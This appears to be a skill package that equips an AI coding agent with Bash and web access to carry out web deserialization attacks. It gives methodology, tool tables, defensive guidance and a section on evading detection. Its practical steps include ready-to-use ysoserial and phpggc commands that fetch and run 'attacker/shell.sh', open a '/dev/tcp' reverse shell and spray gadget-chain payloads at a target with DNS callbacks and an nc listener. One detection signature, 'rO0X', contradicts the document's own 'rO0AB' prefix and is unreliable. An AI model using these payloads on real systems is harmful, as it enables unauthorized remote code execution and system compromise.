web-deserialization

name	web-deserialization
description	Deserialization vulnerabilities arise when an application reconstructs objects from byte streams (Java), serialized strings (PHP), Base64 blobs (.NET), or pickle data (Python) supplied by the client.
origin	openclaw
version	0.2.0.2
compatibility	["openclaw","claude-code","cursor","windsurf"]
allowed-tools	["Bash","Read","Write","Edit","WebSearch","WebFetch"]
metadata	{"domain":"web-attack","tool_count":6,"guide_count":5,"owasp":"A08:2021-Software Integrity Failures","mitre":"T1190-Exploit Public-Facing App","last_reviewed":"2026-07-26"}

Skill: Web Deserialization Attacks

Supplementary Files:

• payloads.md -- Deserialization payloads for Java, PHP, .NET, Python, Ruby, Jackson/Fastjson, and bypass techniques
• test-cases.md -- Structured test cases covering all major deserialization attack vectors (8 test cases)
• guides/ -- In-depth guides for Java ysoserial, PHP phpggc, cross-platform deserialization, Node.js deserialization, and .NET deserialization

Summary

Web Deserialization skill domain covering web attack operations.

Tools: ysoserial, phpggc, marshalsec, ysoserial.net, gadgetprobe, jackson-deserialization

Domain: web-attack

OWASP: A08:2021-Software Integrity Failures

MITRE ATT&CK: T1190-Exploit Public-Facing App

Description

Deserialization vulnerabilities arise when an application reconstructs objects from byte streams (Java), serialized strings (PHP), Base64 blobs (.NET), or pickle data (Python) supplied by the client. The root cause is that deserialization can invoke arbitrary class constructors, magic methods (__wakeup, readObject, readResolve), or property setters that chain together into "gadget chains" terminating in dangerous operations like Runtime.exec(), file_put_contents(), or Process.Start().

These vulnerabilities are particularly dangerous because they often lead directly to unauthenticated RCE, bypass authentication mechanisms, or enable denial-of-service through resource exhaustion. Detection is challenging because serialized payloads are opaque binary or encoded data that traditional WAF rules struggle to inspect.

Key attack surfaces include:

• HTTP cookies containing serialized session data
• POST parameters with Base64-encoded object streams
• REST API endpoints accepting JSON/XML with type hints (@class, __type)
• Message queues and RPC protocols (RMI, AMQP)
• File upload handlers that deserialize embedded objects
• View state fields in web frameworks (ASP.NET __VIEWSTATE, JSF)

Use Cases

1. Java RCE via ysoserial -- Generate CommonsCollections gadget chains to exploit Apache Commons, Spring, Hibernate, and other Java libraries
2. PHP object injection -- Abuse Laravel, WordPress, Magento, and custom framework gadget chains via phpggc
3. .NET ViewState deserialization -- Exploit machineKey disclosure or weak validation to achieve RCE via ysoserial.net
4. Blind deserialization detection -- Use DNS/HTTP callbacks and time delays to confirm deserialization without visible output
5. JSON/XML deserialization -- Exploit polymorphic deserialization in Jackson, Fastjson, and XStream
6. Python pickle RCE -- Craft malicious pickle payloads targeting Flask/Django session stores or IPC channels
7. Ruby deserialization -- Exploit ERB, Gem, and Rails gadget chains
8. Gadget chain analysis -- Use GadgetProbe to enumerate available classes and identify exploitable chains
9. WAF bypass -- Evade deserialization detection through encoding, compression, and payload obfuscation

Core Tools

Tool	Language	Purpose	Key Features
ysoserial	Java	Generate Java gadget chain payloads	50+ gadget chains, custom command execution, file-based payloads
phpggc	PHP	Generate PHP gadget chain payloads	Laravel, WordPress, Magento, Guzzle, Monolog chains
marshalsec	Java	Deserialization research and marshalling exploits	RMI/JMX/LDAP/JRMP servers, JSON/XML marshalling
ysoserial.net	.NET	Generate .NET gadget chain payloads	ViewState, BinaryFormatter, LosFormatter, NetDataContractSerializer
gadgetprobe	Java	Enumerate classpath and identify gadget chains	DNS exfiltration, classpath mapping, chain feasibility
jackson-deserialization	Java/JSON	Jackson/Fastjson deserialization exploit toolkit	Polymorphic type handling, @JsonTypeInfo exploitation, CVE database

Methodology

Phase 1: Detection and Fingerprinting

1. Identify serialization formats in HTTP traffic (magic bytes 0xACED for Java, O: for PHP, Base64 with AAQAA for .NET)
2. Map input vectors: cookies, POST body, headers, file uploads, API endpoints
3. Use GadgetProbe to enumerate available classes on the target classpath via DNS callbacks
4. Confirm deserialization by injecting benign objects and observing error messages or behavior changes

Phase 2: Gadget Chain Selection

1. Map target framework and library versions from fingerprinting data
2. Cross-reference with ysoserial/phpggc/ysoserial.net gadget chain databases
3. Select chains matching available libraries (CommonsCollections, Spring, Hibernate, etc.)
4. Consider chain reliability -- some chains are version-specific or JVM-dependent

Phase 3: Payload Generation and Delivery

1. Generate payloads using the appropriate tool (ysoserial, phpggc, ysoserial.net)
2. Encode payload for the delivery vector (Base64, URL-encoding, gzip compression)
3. Inject payload into the identified input vector
4. Monitor for execution via OOB callbacks (DNS, HTTP) or time-based indicators

Phase 4: Post-Exploitation

1. Confirm RCE and establish persistent access if authorized
2. Escalate from deserialization to full application compromise
3. Document chain used, libraries required, and exploit reliability

Practical Steps

Java Deserialization with ysoserial

# List all available gadget chains
java -jar ysoserial.jar --help

# Generate CommonsCollections5 payload for command execution
java -jar ysoserial.jar CommonsCollections5 'touch /tmp/pwned' | base64 -w0

# Generate payload with URL-encoded output for GET parameters
java -jar ysoserial.jar CommonsCollections6 'curl http://attacker/shell.sh|bash' | base64 -w0 | python3 -c "import sys,urllib.parse;print(urllib.parse.quote(sys.stdin.read()))"

# Use JRMP client for more reliable exploitation
java -jar ysoserial.jar JRMPClient 'attacker:1099' | base64 -w0

# Start a JRMP listener to serve payloads
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 'id'

PHP Deserialization with phpggc

# List available gadget chains
phpggc -l

# Generate Laravel RCE1 chain
phpggc Laravel/RCE1 'system("id")'

# Generate WordPress chain with base64 wrapper
phpggc -b WordPress/Generic 'system("cat /etc/passwd")'

# URL-encode output for GET parameter injection
phpggc -u Magento/RCE2 'bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1"'

Blind Deserialization Detection

# DNS callback with GadgetProbe
java -cp gadgetprobe.jar GadgetProbe --dns-callback attacker.burpcollaborator.net --input serialized_data.bin

# Time-based detection (5-second delay)
java -jar ysoserial.jar CommonsCollections5 'sleep 5' | base64 -w0

# HTTP OOB callback
java -jar ysoserial.jar CommonsCollections6 'curl http://attacker/deser-confirm' | base64 -w0

Defense Perspective

Prevention

• Integrity checks: Sign serialized data with HMAC; reject data with invalid signatures
• Type whitelisting: Only allow deserialization of expected classes; block all others
• Replace serialization: Use JSON or Protocol Buffers for data interchange instead of native serialization
• Patch libraries: Keep all libraries updated to prevent gadget chain availability
• Input validation: Validate all deserialized data against a strict schema before processing
• Sandbox: Run deserialization in a restricted security manager or sandbox environment

Detection

• Monitor for Java serialization magic bytes (0xACED0005) in HTTP traffic
• Log deserialization exceptions and class-loading errors
• Deploy RASP agents to intercept ObjectInputStream.readObject() calls
• Use WAF rules to detect common gadget chain class names in Base64-decoded traffic
• Alert on DNS/HTTP callbacks to known exfiltration domains during deserialization attempts

Framework-Specific Mitigations

Framework	Mitigation
Java	Override ObjectInputStream.resolveClass() with whitelist; use SerialKiller filter
PHP	Disable unserialize() for user input; use json_decode() instead
.NET	Set MachineKey validation; use AspNetEnforceViewStateMac=true; migrate to DataProtector
Python	Never pickle untrusted data; use json or safe_load with PyYAML
Jackson	Disable DEFAULT_TYPING; use @JsonTypeInfo(use=Id.NAME) with whitelist
Ruby	Avoid Marshal.load on user data; use JSON with permitted classes only

Deserialization Risk Matrix

The risk matrix below maps deserialization attack surfaces to their typical impact, exploit complexity, and prevalence in production environments. Use this matrix during engagement scoping to prioritize testing effort.

Attack Surface	Typical Impact	Exploit Complexity	Prevalence	Priority
Java HTTP cookies / session data	RCE	Medium	High	Critical
PHP unserialize() in custom apps	RCE	Low	High	Critical
.NET ViewState (weak/missing MAC)	RCE	Low	Medium	Critical
.NET BinaryFormatter in APIs	RCE	Medium	Medium	High
Jackson/Fastjson JSON type hints	RCE	Medium	Medium	High
Python pickle in Flask/Django sessions	RCE	Low	Low	High
Ruby Marshal in Rails cookies	RCE	Medium	Medium	Medium
Java RMI/JMX/JMS protocols	RCE	High	Medium	High
PHP phar:// wrapper triggers	RCE	Medium	Low	Medium
Node.js node-serialize IIFE	RCE	Low	Low	Medium
Java Spring RPC / Hessian	RCE	High	Low	Medium
XStream XML deserialization	RCE	Medium	Low	Medium

Language-Specific Payload Strategies

Each language platform has unique serialization formats, gadget chain ecosystems, and delivery mechanisms. This section provides a quick reference for approaching deserialization exploitation by language.

Java

• Format: Binary stream (magic bytes 0xACED0005, Base64 starts with rO0AB)
• Key tools: ysoserial, marshalsec, GadgetProbe
• Primary chains: CommonsCollections (1-7), Spring (1-2), Hibernate (1-2), Groovy1, Jdk7u21
• Delivery: HTTP cookies, POST bodies, RMI/T3 protocol, JMXInvokerServlet, SOAP headers
• Detection: GadgetProbe DNS enumeration, time-based sleep payloads, HTTP callbacks

PHP

• Format: Text-based (O:<len>:"<class>":<count>:{...})
• Key tools: phpggc
• Primary chains: Laravel (RCE1-8), WordPress/Generic, Magento/RCE1-2, Monolog, Guzzle, Symfony
• Delivery: Cookies, POST parameters, phar:// wrapper triggers via file operations
• Detection: Inject O:1:"X":0:{} and observe "Class not found" errors

.NET

• Format: Binary (Base64 starts with AAQAA), LosFormatter, ViewState
• Key tools: ysoserial.net
• Primary chains: ObjectDataProvider, TypeConfuseDelegate, ActivitySurrogateSelector, TextFormattingRunProperties, WindowsIdentity
• Delivery: __VIEWSTATE field, BinaryFormatter API endpoints, WCF services, remoting
• Detection: Identify ViewState without MAC, check for machineKey disclosure

Python

• Format: Pickle bytecode (starts with \x80 + protocol version)
• Key tools: Custom scripts using pickle stdlib module
• Primary techniques: __reduce__ method overriding, eval/exec calls, subprocess.check_output
• Delivery: Flask/Django session cookies, Celery task queues, IPC channels, PyYAML unsafe load
• Detection: Check for pickle protocol bytes in cookies, test with sleep-based payloads

Ruby

• Format: Marshal binary (starts with \x04\x08), YAML with type tags
• Key tools: Custom Ruby scripts, rails-cookie-decryptor
• Primary chains: ERB, Gem::RequestSet, Gem::Requirement, Rails cookie Marshal
• Delivery: Rails cookies (Marshal-serialized), YAML.load on user input, Devise remember_token
• Detection: Identify Rails session cookie format, test for secret_key_base disclosure

Node.js

• Format: JSON with function serialization markers (_$$ND_FUNC$$)
• Key tools: Custom scripts, node-serialize exploitation
• Primary techniques: IIFE injection via _$$ND_FUNC$$, prototype pollution chains, funcster exploitation
• Delivery: Serialized session cookies, API endpoints accepting serialized objects, express middleware
• Detection: Look for node-serialize or funcster in dependency list, test with IIFE markers

Gadget Chain Analysis

Gadget chains are sequences of method calls that connect a deserialization entry point (source) to a dangerous operation (sink). Understanding chain anatomy is essential for both exploitation and defense.

Chain Anatomy

Every gadget chain consists of three components:

1. Kick-off gadget: The method invoked during deserialization. In Java, this is typically readObject(), readResolve(), or readObjectNoData(). In PHP, it is __wakeup() or __destruct().

2. Chain gadgets: Intermediate classes that pass control from the kick-off to the sink. These are typically map/collection implementations, transformer objects, or proxy wrappers. The key property is that each gadget calls a method on the next gadget without any security checks.

3. Sink gadget: The final dangerous operation -- usually Runtime.exec(), ProcessBuilder.start(), system(), eval(), or file_put_contents().

Chain Discovery Process

When pre-built chains fail, manual chain discovery requires:

1. Classpath enumeration: Use GadgetProbe or manual JAR analysis to identify available classes
2. Source identification: Find classes with readObject(), __wakeup(), or equivalent that delegate to property-controlled methods
3. Sink identification: Find classes that execute commands, write files, or load code
4. Chain construction: Map a path from source to sink through available intermediate classes
5. Payload generation: Construct the serialized object graph that instantiates the chain

Common Chain Patterns

Pattern	Description	Example
Transformer chain	ChainedTransformer applies a series of function calls	CommonsCollections 1-7
Template injection	Loads bytecode via ClassLoader from TemplatesImpl	CommonsCollections2, CommonsCollections4
JNDI redirect	Deserialized object triggers remote class loading via JNDI	JRMPClient, Jdk7u21
Property delegation	Object properties trigger method calls on nested objects	Spring1, Hibernate1
Magic method chain	__wakeup/__destruct calls method on property that triggers next gadget	Laravel RCE chains
Delegate invocation	MulticastDelegate or EventHandler redirects method calls	TypeConfuseDelegate, ObjectDataProvider

Deserialization Detection Techniques

Detecting deserialization vulnerabilities in black-box and gray-box testing requires a systematic approach combining fingerprinting, probing, and confirmation.

Passive Fingerprinting

Identify serialization formats in HTTP traffic without actively sending payloads:

1. Java: Look for Base64 strings starting with rO0AB in cookies, headers, or POST parameters. The raw hex AC ED 00 05 is the Java serialization magic header.

2. PHP: Look for strings matching the pattern O:<digits>:"<classname>":<count>:{...} or a:<count>:{...} in cookies and parameters.

3. .NET: Look for Base64 strings starting with /wE (ViewState) or AAQAA (BinaryFormatter) in __VIEWSTATE hidden fields.

4. Python: Look for Base64 strings that decode to bytes starting with \x80\x04 or \x80\x05 (pickle protocol 4/5) in session cookies.

5. Ruby: Look for Base64 strings that decode to bytes starting with \x04\x08 (Marshal format) in Rails session cookies.

Active Probing

Inject benign payloads to confirm deserialization is occurring:

# Java: Inject minimal serialized object and watch for ClassNotFoundException
echo "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==" | base64 -d | \
  python3 -c "import sys; data=sys.stdin.buffer.read(); data=data.replace(b'HashMap',b'AAAAAAA'); import base64; print(base64.b64encode(data).decode())"

# PHP: Inject invalid class and look for error messages
curl -s http://target/ -b "data=O:1:\"X\":0:{}" | grep -i "class.*not found\|unserialize"

# .NET: Inject invalid ViewState and observe error
curl -s http://target/default.aspx -d "__VIEWSTATE=INVALID_DATA" | grep -i "viewstate\|validation"

# Python: Inject pickle with invalid class reference
python3 -c "import pickle,base64;print(base64.b64encode(pickle.dumps('test')).decode())"

Confirmation via OOB Callbacks

Once deserialization is confirmed, verify code execution through out-of-band callbacks:

1. DNS callback: Generate payload with nslookup <unique>.callback.domain -- works even with restrictive firewalls
2. HTTP callback: Generate payload with curl http://callback.domain/<unique> -- confirms full network access
3. Time delay: Generate payload with sleep 5 or ping -n 6 127.0.0.1 -- works when no outbound network is allowed
4. File system artifact: Generate payload with touch /tmp/<unique> -- confirms execution when OOB is impossible

Safe Deserialization Patterns

Understanding safe deserialization patterns is essential for both validating that mitigations are in place and for building test environments. Each platform provides mechanisms to restrict deserialization.

Java Safe Patterns

// Pattern 1: ObjectInputFilter (Java 9+)
ObjectInputStream ois = new ObjectInputStream(input);
ois.setObjectInputFilter(filterInfo -> {
    Class<?> clazz = filterInfo.serialClass();
    if (clazz == null) return ObjectInputFilter.Status.ALLOWED;
    return ALLOWED_CLASSES.contains(clazz.getName())
        ? ObjectInputFilter.Status.ALLOWED
        : ObjectInputFilter.Status.REJECTED;
});

// Pattern 2: Override resolveClass with whitelist
class SafeObjectInputStream extends ObjectInputStream {
    protected Class<?> resolveClass(ObjectStreamClass desc) {
        if (!ALLOWED_CLASSES.contains(desc.getName()))
            throw new InvalidClassException("Unauthorized deserialization", desc.getName());
        return super.resolveClass(desc);
    }
}

// Pattern 3: Replace with JSON serialization
ObjectMapper mapper = new ObjectMapper();
MyDTO dto = mapper.readValue(json, MyDTO.class); // Type-safe, no gadget chains

PHP Safe Patterns

// Pattern 1: Whitelist allowed classes
$data = unserialize($input, ['allowed_classes' => ['SafeClass1', 'SafeClass2']]);

// Pattern 2: Replace with JSON
$data = json_decode($input, true); // No object instantiation

// Pattern 3: Disable phar wrapper
// php.ini: phar.readonly = On

.NET Safe Patterns

<!-- Pattern 1: Enforce ViewState MAC -->
<system.web>
  <pages enableViewStateMac="true" viewStateEncryptionMode="Always" />
  <machineKey validationKey="AUTO_GENERATED" decryptionKey="AUTO_GENERATED" />
</system.web>

<!-- Pattern 2: Disable BinaryFormatter -->
<!-- ASP.NET Core: BinaryFormatter is obsolete and removed -->

Python Safe Patterns

# Pattern 1: RestrictedUnpickler
import pickle
class SafeUnpickler(pickle.Unpickler):
    ALLOWED = {'builtins': {'dict', 'list', 'set', 'tuple', 'str', 'int', 'float'}}
    def find_class(self, module, name):
        if module in self.ALLOWED and name in self.ALLOWED[module]:
            return super().find_class(module, name)
        raise pickle.UnpicklingError(f"Blocked: {module}.{name}")

# Pattern 2: Use JSON instead
import json
data = json.loads(input_string) # Safe, no code execution

# Pattern 3: Use YAML safe_load
import yaml
data = yaml.safe_load(input_string) # Only basic types

Exploit Chain Building

Building exploit chains for deserialization vulnerabilities requires combining multiple techniques into a reliable attack path. This section describes the end-to-end process.

Step 1: Reconnaissance

Identify the technology stack, serialization format, and input vectors:

# Identify web framework and language from HTTP headers
curl -sI http://target/ | grep -iE "server|x-powered-by|x-aspnet|set-cookie"

# Identify serialization format from cookie values
curl -sI http://target/ -v 2>&1 | grep -i "set-cookie" | grep -oE "[A-Za-z0-9+/=]{20,}"

# Check for common deserialization endpoints
curl -s http://target/invoker/JMXInvokerServlet -o /dev/null -w '%{http_code}'
curl -s http://target/wls-wsat/CoordinatorPortType -o /dev/null -w '%{http_code}'
curl -s http://target/api -X POST -H "Content-Type: application/x-java-serialized-object" -d "test" -w '%{http_code}'

Step 2: Format Identification

Determine the exact serialization format from captured data:

# Decode and inspect suspected serialized data
echo "SUSPECT_BASE64" | base64 -d | xxd | head -5
# Java: ac ed 00 05
# .NET: 00 01 00 00 00
# Python: 80 04 or 80 05

# Extract readable strings to identify class names
echo "SUSPECT_BASE64" | base64 -d | strings | head -20

Step 3: Chain Selection and Testing

Select appropriate gadget chains based on the identified format and library fingerprinting:

# Test multiple chains in parallel with unique callbacks
for chain in CommonsCollections5 CommonsCollections6 CommonsCollections7 Spring1 Hibernate1; do
  payload=$(java -jar ysoserial.jar $chain "nslookup ${chain}.attacker.com" 2>/dev/null | base64 -w0)
  curl -s -o /dev/null -w "${chain}: %{http_code} (%{time_total}s)\n" \
    -H "Cookie: data=${payload}" http://target/api
done

Step 4: Payload Delivery and Execution

Deliver the working payload through the identified input vector and confirm execution:

# Generate final RCE payload
java -jar ysoserial.jar CommonsCollections6 'bash -c {echo,BASE64_REVERSE_SHELL}|{base64,-d}|bash' | base64 -w0

# Deliver via identified vector
curl -s http://target/api -H "Cookie: session=FINAL_PAYLOAD" &
nc -lvnp 4444  # Catch reverse shell

Detection Methods

Deserialization Vulnerability Detection

• Payload signatures: Java serialized magic bytes rO0X (Base64 of 0xAC ED 00 05); PHP serialized O:N:"...".
• ** gadget chain detection**: InvokerTransformer, AnnotationInvocationHandler in deserialized data.
• Anomalous object types: Unexpected class names in serialized stream.

SIEM Detection Rules

• Splunk SPL: index=web | regex body="rO0X|O:\d+:|\"\$class\""
• ModSecurity CRS: Rules for deserialization payload signatures.
• RASP (Runtime Application Self-Protection): Native deserialization validation.

Defense Evasion Techniques

Payload Obfuscation

• Encoding tricks: Base64 / hex / Gzip the serialized payload.
• Custom serializers: Some apps use custom serializers; format may not match standard signatures.
• Polymorphic gadgets: Use less-known gadgets not in detection rules.

Detection Bypass

• Slow payload delivery: Split payload across multiple requests; below threshold.
• Use binary protocol: Hessian, Kryo, Protocol Buffers; less signature coverage than Java serialization.
• JSON deserialization abuse: Jackson, GSON, fastjson vulnerabilities; different signatures than binary.